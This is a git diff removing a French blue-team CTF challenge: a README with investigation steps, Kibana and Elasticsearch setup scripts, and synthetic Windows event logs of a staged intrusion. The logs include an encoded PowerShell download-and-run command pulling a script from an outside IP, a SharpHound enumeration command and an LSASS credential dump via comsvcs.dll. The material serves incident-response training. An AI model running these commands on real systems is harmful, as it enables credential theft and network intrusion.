-Utilisez le sélecteur de temps en haut à droite pour cibler la période de l'incident. - ---- - -## Infrastructure du scénario - -| Machine | Rôle | IP | -|---------|------|----| -| `WIN-ACCT01` | Poste utilisateur compromis (point d'entrée) | 192.168.10.45 | -| `APP-SRV01` | Serveur applicatif (pivot) | 192.168.10.52 | -| `DC01` | Domain Controller (cible finale) | 192.168.10.10 | - ---- - -## Progression recommandée - -1. **Identifier le point d'entrée** — quel poste a été compromis en premier ? -2. **Retrouver la commande initiale** — quelle commande a été exécutée au démarrage ? -3. **Identifier le script téléchargé** — quel fichier l'attaquant a-t-il récupéré ? -4. **Identifier l'outil d'énumération** — quel outil a été utilisé pour cartographier l'AD ? -5. **Retrouver la technique de dump** — comment l'attaquant a-t-il extrait les credentials ? -6. **Identifier le pivot** — quel compte a été utilisé pour atteindre APP-SRV01 ? -7. **Dater le pivot** — à quelle heure la première connexion RDP a-t-elle eu lieu ? -8. **Analyser l'authentification Kerberos** — quel type de ticket a été utilisé sur DC01 ? -9. **Identifier l'escalade de privilèges** — quel SID a été ajouté à un groupe privilégié ? -10. **Trouver le compte de persistance** — quel compte avec SPN a été créé pour la persistance ? - ---- - -## Outils recommandés - -- **Kibana Discover** : exploration et filtrage des logs -- **KQL (Kibana Query Language)** : requêtes avancées -- **MITRE ATT&CK** : identification des techniques (`https://attack.mitre.org`) -- **VirusTotal** : recherche de hash de fichiers suspects - ---- - -## Format des flags - -Chaque réponse est soumise sous la forme : - -``` -FLAG{valeur} -``` - -Exemple : `FLAG{192.168.10.45}` - ---- - -## Bon courage ! - -*Blue Team CTF – Sarah – ESGI Projet Annuel 2026* diff --git a/challenges/1-Blue-Team-Phishing-ELK-Sarah/init/import_kibana.sh b/challenges/1-Blue-Team-Phishing-ELK-Sarah/init/import_kibana.sh deleted file mode 100644 index 9003763..0000000 --- a/challenges/1-Blue-Team-Phishing-ELK-Sarah/init/import_kibana.sh +++ /dev/null @@ -1,171 +0,0 @@ -#!/bin/sh -# Script d'initialisation Kibana – attend que tout soit prêt puis crée l'index pattern - -KIBANA_URL="http://localhost:5601" -ES_URL="http://localhost:9200" - -log() { echo "[CTF-INIT] $1"; } - -# ── Attendre Elasticsearch ──────────────────────────────────────────────────── -log "Waiting for Elasticsearch..." -until curl -s "${ES_URL}/_cluster/health" | grep -q '"status":"green"\|"status":"yellow"'; do - sleep 5 -done -log "Elasticsearch is up!" - -# ── Attendre Kibana ─────────────────────────────────────────────────────────── -log "Waiting for Kibana..." -until curl -s "${KIBANA_URL}/api/status" | grep -q '"level":"available"'; do - sleep 5 -done -log "Kibana is up!" - -# ── Attendre que les logs soient injectés ──────────────────────────────────── -log "Waiting for logs to be injected (target: 200+ documents)..." -EXPECTED_DOCS=200 -while true; do - COUNT=$(curl -s "${ES_URL}/dfir-incident-*/_count" 2>/dev/null | grep -o '"count":[0-9]*' | grep -o "[0-9]*") - COUNT=${COUNT:-0} - if [ "$COUNT" -ge "$EXPECTED_DOCS" ] 2>/dev/null; then - log "Injection done: ${COUNT} documents indexed." - break - fi - log "Documents indexed so far: ${COUNT}/${EXPECTED_DOCS} — waiting..." - sleep 5 -done -sleep 2 - -# ── Créer le data view (API Kibana 8.x) ────────────────────────────────────── -log "Creating data view..." -curl -s -X POST "${KIBANA_URL}/api/data_views/data_view" \ - -H "kbn-xsrf: true" \ - -H "Content-Type: application/json" \ - -d '{ - "data_view": { - "id": "dfir-incident", - "title": "dfir-incident-*", - "timeFieldName": "@timestamp" - } - }' > /dev/null - -# ── Définir comme data view par défaut ─────────────────────────────────────── -curl -s -X POST "${KIBANA_URL}/api/data_views/default" \ - -H "kbn-xsrf: true" \ - -H "Content-Type: application/json" \ - -d '{"data_view_id": "dfir-incident", "force": true}' > /dev/null - -# ── Saved Search : tous les events ─────────────────────────────────────────── -log "Creating saved searches..." -curl -s -X POST "${KIBANA_URL}/api/saved_objects/search/all-events" \ - -H "kbn-xsrf: true" \ - -H "Content-Type: application/json" \ - -d '{ - "attributes": { - "title": "📋 All Events (chronological)", - "columns": ["@timestamp","host","event_id","user","description","category"], - "sort": [["@timestamp","asc"]], - "kibanaSavedObjectMeta": { - "searchSourceJSON": "{\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.index\",\"query\":{\"match_all\":{}},\"filter\":[]}" - } - }, - "references": [{"name":"kibanaSavedObjectMeta.searchSourceJSON.index","type":"index-pattern","id":"dfir-incident"}] - }' > /dev/null - -# ── Saved Search : events réseau ───────────────────────────────────────────── -curl -s -X POST "${KIBANA_URL}/api/saved_objects/search/network-events" \ - -H "kbn-xsrf: true" \ - -H "Content-Type: application/json" \ - -d '{ - "attributes": { - "title": "🌐 Network Events (5156)", - "columns": ["@timestamp","host","user","direction","dst_ip","dst_port","protocol","description"], - "sort": [["@timestamp","asc"]], - "kibanaSavedObjectMeta": { - "searchSourceJSON": "{\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.index\",\"query\":{\"match\":{\"event_id\":5156}},\"filter\":[]}" - } - }, - "references": [{"name":"kibanaSavedObjectMeta.searchSourceJSON.index","type":"index-pattern","id":"dfir-incident"}] - }' > /dev/null - -# ── Saved Search : events process ──────────────────────────────────────────── -curl -s -X POST "${KIBANA_URL}/api/saved_objects/search/process-events" \ - -H "kbn-xsrf: true" \ - -H "Content-Type: application/json" \ - -d '{ - "attributes": { - "title": "⚙️ Process Creation (4688)", - "columns": ["@timestamp","host","user","process_name","parent_process","command_line","description"], - "sort": [["@timestamp","asc"]], - "kibanaSavedObjectMeta": { - "searchSourceJSON": "{\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.index\",\"query\":{\"match\":{\"event_id\":4688}},\"filter\":[]}" - } - }, - "references": [{"name":"kibanaSavedObjectMeta.searchSourceJSON.index","type":"index-pattern","id":"dfir-incident"}] - }' > /dev/null - -# ── Saved Search : authentifications ───────────────────────────────────────── -curl -s -X POST "${KIBANA_URL}/api/saved_objects/search/auth-events" \ - -H "kbn-xsrf: true" \ - -H "Content-Type: application/json" \ - -d '{ - "attributes": { - "title": "🔐 Authentication Events (4624/4648)", - "columns": ["@timestamp","host","user","logon_type","source_ip","target_user","target_host","description"], - "sort": [["@timestamp","asc"]], - "kibanaSavedObjectMeta": { - "searchSourceJSON": "{\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.index\",\"query\":{\"bool\":{\"should\":[{\"match\":{\"event_id\":4624}},{\"match\":{\"event_id\":4648}}]}},\"filter\":[]}" - } - }, - "references": [{"name":"kibanaSavedObjectMeta.searchSourceJSON.index","type":"index-pattern","id":"dfir-incident"}] - }' > /dev/null - -# ── Saved Search : Kerberos ─────────────────────────────────────────────────── -curl -s -X POST "${KIBANA_URL}/api/saved_objects/search/kerberos-events" \ - -H "kbn-xsrf: true" \ - -H "Content-Type: application/json" \ - -d '{ - "attributes": { - "title": "🎟️ Kerberos Events (4769)", - "columns": ["@timestamp","host","user","service_name","ticket_encryption","ticket_options","client_ip","description"], - "sort": [["@timestamp","asc"]], - "kibanaSavedObjectMeta": { - "searchSourceJSON": "{\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.index\",\"query\":{\"match\":{\"event_id\":4769}},\"filter\":[]}" - } - }, - "references": [{"name":"kibanaSavedObjectMeta.searchSourceJSON.index","type":"index-pattern","id":"dfir-incident"}] - }' > /dev/null - -# ── Saved Search : Account Management ──────────────────────────────────────── -curl -s -X POST "${KIBANA_URL}/api/saved_objects/search/account-mgmt" \ - -H "kbn-xsrf: true" \ - -H "Content-Type: application/json" \ - -d '{ - "attributes": { - "title": "👤 Account Management (4720/4728/4742/4764/5136)", - "columns": ["@timestamp","host","user","new_account","target_account","target_user_sid","group_name","attribute_value","description"], - "sort": [["@timestamp","asc"]], - "kibanaSavedObjectMeta": { - "searchSourceJSON": "{\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.index\",\"query\":{\"bool\":{\"should\":[{\"match\":{\"event_id\":4720}},{\"match\":{\"event_id\":4728}},{\"match\":{\"event_id\":4742}},{\"match\":{\"event_id\":4764}},{\"match\":{\"event_id\":5136}}]}},\"filter\":[]}" - } - }, - "references": [{"name":"kibanaSavedObjectMeta.searchSourceJSON.index","type":"index-pattern","id":"dfir-incident"}] - }' > /dev/null - -# ── Saved Search : Process Access (Sysmon 10) ───────────────────────────────── -curl -s -X POST "${KIBANA_URL}/api/saved_objects/search/process-access" \ - -H "kbn-xsrf: true" \ - -H "Content-Type: application/json" \ - -d '{ - "attributes": { - "title": "🔍 Process Access (Sysmon Event 10)", - "columns": ["@timestamp","host","user","source_process","target_process","call_trace","description"], - "sort": [["@timestamp","asc"]], - "kibanaSavedObjectMeta": { - "searchSourceJSON": "{\"indexRefName\":\"kibanaSavedObjectMeta.searchSourceJSON.index\",\"query\":{\"match\":{\"event_id\":10}},\"filter\":[]}" - } - }, - "references": [{"name":"kibanaSavedObjectMeta.searchSourceJSON.index","type":"index-pattern","id":"dfir-incident"}] - }' > /dev/null - -log "✅ Kibana initialized! Index pattern and saved searches are ready." -log "Access Kibana at http://localhost:5601" diff --git a/challenges/1-Blue-Team-Phishing-ELK-Sarah/init/inject_logs.py b/challenges/1-Blue-Team-Phishing-ELK-Sarah/init/inject_logs.py deleted file mode 100644 index b4e25e3..0000000 --- a/challenges/1-Blue-Team-Phishing-ELK-Sarah/init/inject_logs.py +++ /dev/null @@ -1,80 +0,0 @@ -#!/usr/bin/env python3 -""" -Injecte les logs CTF dans Elasticsearch via l'API bulk. -Remplace le file input Logstash qui est peu fiable en conteneur. -""" -import json -import sys -import time -import urllib.request -import urllib.error - -ES_URL = "http://localhost:9200" -LOG_FILE = "/opt/ctf-logs-src/corp_incident.json" -INDEX = "dfir-incident-2024.03.15" - -FIELD_MAP = { - "WIN-ACCT01": "192.168.10.45", - "APP-SRV01": "192.168.10.52", - "DC01": "192.168.10.10", -} - -def wait_for_es(): - print("[INJECT] Waiting for Elasticsearch...") - while True: - try: - r = urllib.request.urlopen(f"{ES_URL}/_cluster/health", timeout=5) - data = json.loads(r.read()) - if data.get("status") in ("green", "yellow"): - print("[INJECT] Elasticsearch is up!") - return - except Exception: - pass - time.sleep(3) - -def inject(): - with open(LOG_FILE, "r") as f: - lines = [l.strip() for l in f if l.strip()] - - print(f"[INJECT] Injecting {len(lines)} documents into {INDEX}...") - - bulk_body = [] - for line in lines: - try: - doc = json.loads(line) - except json.JSONDecodeError as e: - print(f"[INJECT] Skipping bad line: {e}") - continue - - # Enrichissement - doc["environment"] = "corp.local" - doc["domain"] = "CORP" - doc["ctf_scenario"] = "DFIR-Incident-2024-03-15" - host = doc.get("host", "") - if host in FIELD_MAP: - doc["host_ip"] = FIELD_MAP[host] - - bulk_body.append(json.dumps({"index": {"_index": INDEX}})) - bulk_body.append(json.dumps(doc)) - - payload = "\n".join(bulk_body) + "\n" - req = urllib.request.Request( - f"{ES_URL}/_bulk", - data=payload.encode("utf-8"), - headers={"Content-Type": "application/x-ndjson"}, - method="POST" - ) - r = urllib.request.urlopen(req, timeout=30) - resp = json.loads(r.read()) - if resp.get("errors"): - errors = [i for i in resp["items"] if i.get("index", {}).get("error")] - print(f"[INJECT] {len(errors)} errors during bulk insert") - for e in errors[:3]: - print(f"[INJECT] {e}") - else: - print(f"[INJECT] Successfully injected {len(lines)} documents!") - -if __name__ == "__main__": - wait_for_es() - inject() - print("[INJECT] Done.") diff --git a/challenges/1-Blue-Team-Phishing-ELK-Sarah/logs/corp_incident.json b/challenges/1-Blue-Team-Phishing-ELK-Sarah/logs/corp_incident.json deleted file mode 100644 index d37d068..0000000 --- a/challenges/1-Blue-Team-Phishing-ELK-Sarah/logs/corp_incident.json +++ /dev/null @@ -1,224 +0,0 @@ -{"@timestamp":"2026-03-15T06:45:01.000Z","event_id":4624,"host":"WIN-ACCT01","user":"m.martin","logon_type":2,"source_ip":"192.168.10.45","description":"An account was successfully logged on","category":"Authentication"} -{"@timestamp":"2026-03-15T06:46:10.000Z","event_id":4688,"host":"WIN-ACCT01","user":"m.martin","process_name":"explorer.exe","parent_process":"userinit.exe","command_line":"C:\\Windows\\explorer.exe","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T06:47:22.000Z","event_id":4688,"host":"WIN-ACCT01","user":"m.martin","process_name":"teams.exe","parent_process":"explorer.exe","command_line":"C:\\Users\\m.martin\\AppData\\Local\\Microsoft\\Teams\\current\\Teams.exe","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T06:48:05.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"52.113.194.132","dst_port":443,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T06:50:12.000Z","event_id":4769,"host":"DC01","user":"m.martin","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T06:52:33.000Z","event_id":4624,"host":"APP-SRV01","user":"svc_webapp","logon_type":5,"source_ip":"127.0.0.1","description":"Service account logon for IIS","category":"Authentication"} -{"@timestamp":"2026-03-15T06:53:00.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_webapp","process_name":"w3wp.exe","parent_process":"svchost.exe","command_line":"C:\\Windows\\System32\\inetsrv\\w3wp.exe -ap DefaultAppPool","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T06:55:14.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.50","dst_port":8080,"protocol":"TCP","description":"Health check inbound from monitoring server","category":"Network"} -{"@timestamp":"2026-03-15T06:57:00.000Z","event_id":4624,"host":"DC01","user":"CORP\\srv_dc","logon_type":5,"source_ip":"127.0.0.1","description":"NETLOGON service logon on DC01","category":"Authentication"} -{"@timestamp":"2026-03-15T07:00:00.000Z","event_id":4769,"host":"DC01","user":"m.martin","service_name":"ldap/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested for LDAP","category":"Kerberos"} -{"@timestamp":"2026-03-15T07:02:11.000Z","event_id":4688,"host":"WIN-ACCT01","user":"p.bernard","process_name":"excel.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\EXCEL.EXE budget_2026.xlsx","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:04:30.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"13.107.42.14","dst_port":443,"protocol":"TCP","description":"Azure AD authentication outbound","category":"Network"} -{"@timestamp":"2026-03-15T07:05:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"a.leclerc","logon_type":2,"source_ip":"192.168.10.45","description":"Interactive logon a.leclerc","category":"Authentication"} -{"@timestamp":"2026-03-15T07:06:14.000Z","event_id":4688,"host":"WIN-ACCT01","user":"a.leclerc","process_name":"chrome.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe --profile-directory=Default","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:07:45.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"172.217.18.142","dst_port":443,"protocol":"TCP","description":"Chrome HTTPS outbound to Google","category":"Network"} -{"@timestamp":"2026-03-15T07:09:00.000Z","event_id":4648,"host":"WIN-ACCT01","user":"p.bernard","target_user":"p.bernard","target_host":"APP-SRV01","logon_type":3,"description":"Explicit credentials logon to APP-SRV01","category":"Authentication"} -{"@timestamp":"2026-03-15T07:09:30.000Z","event_id":4624,"host":"APP-SRV01","user":"p.bernard","logon_type":3,"source_ip":"192.168.10.47","description":"Network logon p.bernard from workstation","category":"Authentication"} -{"@timestamp":"2026-03-15T07:10:01.000Z","event_id":4688,"host":"APP-SRV01","user":"p.bernard","process_name":"notepad.exe","parent_process":"explorer.exe","command_line":"notepad.exe C:\\inetpub\\wwwroot\\web.config","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:12:03.000Z","event_id":4624,"host":"WIN-ACCT01","user":"j.dupont","logon_type":2,"source_ip":"192.168.10.45","description":"An account was successfully logged on","category":"Authentication"} -{"@timestamp":"2026-03-15T07:13:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"j.dupont","process_name":"outlook.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\OUTLOOK.EXE","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:14:22.000Z","event_id":4688,"host":"WIN-ACCT01","user":"j.dupont","process_name":"chrome.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:15:10.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"142.250.74.46","dst_port":443,"protocol":"TCP","description":"HTTPS outbound Chrome","category":"Network"} -{"@timestamp":"2026-03-15T07:16:00.000Z","event_id":4769,"host":"DC01","user":"j.dupont","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T07:17:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"a.leclerc","process_name":"mstsc.exe","parent_process":"explorer.exe","command_line":"mstsc.exe /v:192.168.10.52","description":"RDP client launched toward APP-SRV01","category":"Process"} -{"@timestamp":"2026-03-15T07:17:40.000Z","event_id":4624,"host":"APP-SRV01","user":"a.leclerc","logon_type":10,"source_ip":"192.168.10.45","description":"Remote interactive (RDP) logon - a.leclerc","category":"Authentication"} -{"@timestamp":"2026-03-15T07:18:00.000Z","event_id":4688,"host":"APP-SRV01","user":"a.leclerc","process_name":"excel.exe","parent_process":"rdpclip.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\EXCEL.EXE report_march.xlsx","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:20:00.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.45","dst_port":443,"protocol":"TCP","description":"HTTPS inbound from workstation","category":"Network"} -{"@timestamp":"2026-03-15T07:21:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"f.petit","process_name":"msedge.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:22:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"40.101.91.160","dst_port":443,"protocol":"TCP","description":"Exchange Online HTTPS outbound","category":"Network"} -{"@timestamp":"2026-03-15T07:22:10.000Z","event_id":4688,"host":"WIN-ACCT01","user":"j.dupont","process_name":"winword.exe","parent_process":"outlook.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\WINWORD.EXE /n \"C:\\Users\\j.dupont\\AppData\\Local\\Temp\\Rapport_Q1_2026.docx\"","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:22:45.000Z","event_id":4688,"host":"WIN-ACCT01","user":"j.dupont","process_name":"powershell.exe","parent_process":"winword.exe","command_line":"powershell.exe -NoP -NonI -W Hidden -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAY3QgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADgANQAuADIANAAzAC4AMQAxADUALgAyADMALwB1AHAAZABhAHQAZQAuAHAAcwAxACcAKQA=","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:22:48.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T07:22:49.000Z","event_id":4688,"host":"WIN-ACCT01","user":"j.dupont","process_name":"powershell.exe","parent_process":"powershell.exe","command_line":"powershell.exe -ExecutionPolicy Bypass -File C:\\Users\\j.dupont\\AppData\\Roaming\\update.ps1","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:23:01.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T07:24:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"m.martin","process_name":"winword.exe","parent_process":"outlook.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\WINWORD.EXE rapport_rh.docx","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:25:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.10","dst_port":88,"protocol":"Kerberos","description":"Kerberos TGT request to DC01","category":"Network"} -{"@timestamp":"2026-03-15T07:26:00.000Z","event_id":4769,"host":"DC01","user":"a.leclerc","service_name":"http/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T07:27:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"p.bernard","process_name":"powershell.exe","parent_process":"explorer.exe","command_line":"powershell.exe Get-Service | Where-Object {$_.Status -eq 'Running'}","description":"Legitimate admin PowerShell command","category":"Process"} -{"@timestamp":"2026-03-15T07:28:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"j.dupont","process_name":"SharpHound.exe","parent_process":"powershell.exe","command_line":"SharpHound.exe -c All --zipfilename loot.zip","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:28:15.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"192.168.10.10","dst_port":389,"protocol":"LDAP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T07:28:16.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"192.168.10.10","dst_port":389,"protocol":"LDAP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T07:28:17.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"192.168.10.10","dst_port":389,"protocol":"LDAP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T07:28:30.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"192.168.10.10","dst_port":389,"protocol":"LDAP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T07:28:45.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"192.168.10.10","dst_port":636,"protocol":"LDAPS","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T07:29:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"f.petit","logon_type":2,"source_ip":"192.168.10.48","description":"Interactive logon f.petit","category":"Authentication"} -{"@timestamp":"2026-03-15T07:29:30.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.10","dst_port":53,"protocol":"DNS","description":"DNS query to DC01","category":"Network"} -{"@timestamp":"2026-03-15T07:30:00.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_webapp","process_name":"msiexec.exe","parent_process":"svchost.exe","command_line":"C:\\Windows\\System32\\msiexec.exe /i patch_kb5030219.msi /quiet","description":"Scheduled Windows Update installation","category":"Process"} -{"@timestamp":"2026-03-15T07:30:22.000Z","event_id":4688,"host":"WIN-ACCT01","user":"j.dupont","process_name":"rundll32.exe","parent_process":"powershell.exe","command_line":"rundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump 624 C:\\Windows\\Temp\\lsass.dmp full","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T07:30:25.000Z","event_id":10,"host":"WIN-ACCT01","user":"j.dupont","source_process":"rundll32.exe","target_process":"lsass.exe","call_trace":"C:\\Windows\\SYSTEM32\\ntdll.dll+MiniDumpWriteDump","description":"Process accessed","category":"Process"} -{"@timestamp":"2026-03-15T07:31:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T07:32:00.000Z","event_id":4769,"host":"DC01","user":"f.petit","service_name":"cifs/WIN-ACCT01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.48","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T07:33:00.000Z","event_id":4624,"host":"DC01","user":"a.admin","logon_type":2,"source_ip":"192.168.10.20","description":"Admin interactive logon to DC01","category":"Authentication"} -{"@timestamp":"2026-03-15T07:34:00.000Z","event_id":4688,"host":"DC01","user":"a.admin","process_name":"gpupdate.exe","parent_process":"cmd.exe","command_line":"gpupdate /force","description":"GPO update forced by admin","category":"Process"} -{"@timestamp":"2026-03-15T07:35:00.000Z","event_id":5156,"host":"DC01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.45","dst_port":445,"protocol":"SMB","description":"DC to workstation SMB","category":"Network"} -{"@timestamp":"2026-03-15T07:35:14.000Z","event_id":4648,"host":"WIN-ACCT01","user":"j.dupont","target_user":"svc_backup","target_host":"APP-SRV01","logon_type":3,"description":"Explicit credentials logon attempt","category":"Authentication"} -{"@timestamp":"2026-03-15T07:35:18.000Z","event_id":4624,"host":"APP-SRV01","user":"svc_backup","logon_type":3,"source_ip":"192.168.10.45","description":"An account was successfully logged on","category":"Authentication"} -{"@timestamp":"2026-03-15T07:36:00.000Z","event_id":5156,"host":"DC01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.50","dst_port":636,"protocol":"LDAPS","description":"Secure LDAP from monitoring server","category":"Network"} -{"@timestamp":"2026-03-15T07:37:00.000Z","event_id":4769,"host":"DC01","user":"p.bernard","service_name":"ldap/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.47","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T07:38:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"a.leclerc","process_name":"powershell.exe","parent_process":"explorer.exe","command_line":"powershell.exe Get-ADUser -Filter * | Select-Object Name,SamAccountName","description":"Legitimate AD query by admin","category":"Process"} -{"@timestamp":"2026-03-15T07:39:00.000Z","event_id":4624,"host":"APP-SRV01","user":"m.martin","logon_type":3,"source_ip":"192.168.10.45","description":"Network logon m.martin","category":"Authentication"} -{"@timestamp":"2026-03-15T07:40:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T07:41:00.000Z","event_id":4688,"host":"APP-SRV01","user":"m.martin","process_name":"notepad.exe","parent_process":"explorer.exe","command_line":"notepad.exe C:\\inetpub\\wwwroot\\config.xml","description":"Config file viewed","category":"Process"} -{"@timestamp":"2026-03-15T07:42:00.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.47","dst_port":443,"protocol":"TCP","description":"HTTPS request from p.bernard workstation","category":"Network"} -{"@timestamp":"2026-03-15T07:43:00.000Z","event_id":4688,"host":"DC01","user":"a.admin","process_name":"dsa.msc","parent_process":"mmc.exe","command_line":"dsa.msc","description":"Active Directory Users and Computers console opened","category":"Process"} -{"@timestamp":"2026-03-15T07:44:00.000Z","event_id":4769,"host":"DC01","user":"a.leclerc","service_name":"cifs/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T07:45:00.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_webapp","process_name":"iisreset.exe","parent_process":"cmd.exe","command_line":"iisreset /restart","description":"IIS restart scheduled maintenance","category":"Process"} -{"@timestamp":"2026-03-15T07:46:00.000Z","event_id":4624,"host":"APP-SRV01","user":"svc_webapp","logon_type":5,"source_ip":"127.0.0.1","description":"Service re-logon after IIS restart","category":"Authentication"} -{"@timestamp":"2026-03-15T07:47:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"216.58.213.142","dst_port":443,"protocol":"TCP","description":"HTTPS to Google services","category":"Network"} -{"@timestamp":"2026-03-15T07:48:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"p.bernard","logon_type":2,"source_ip":"192.168.10.47","description":"Interactive logon p.bernard","category":"Authentication"} -{"@timestamp":"2026-03-15T07:49:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"p.bernard","process_name":"winword.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\WINWORD.EXE contrat_fournisseur.docx","description":"A new process has been created","category":"Process"} 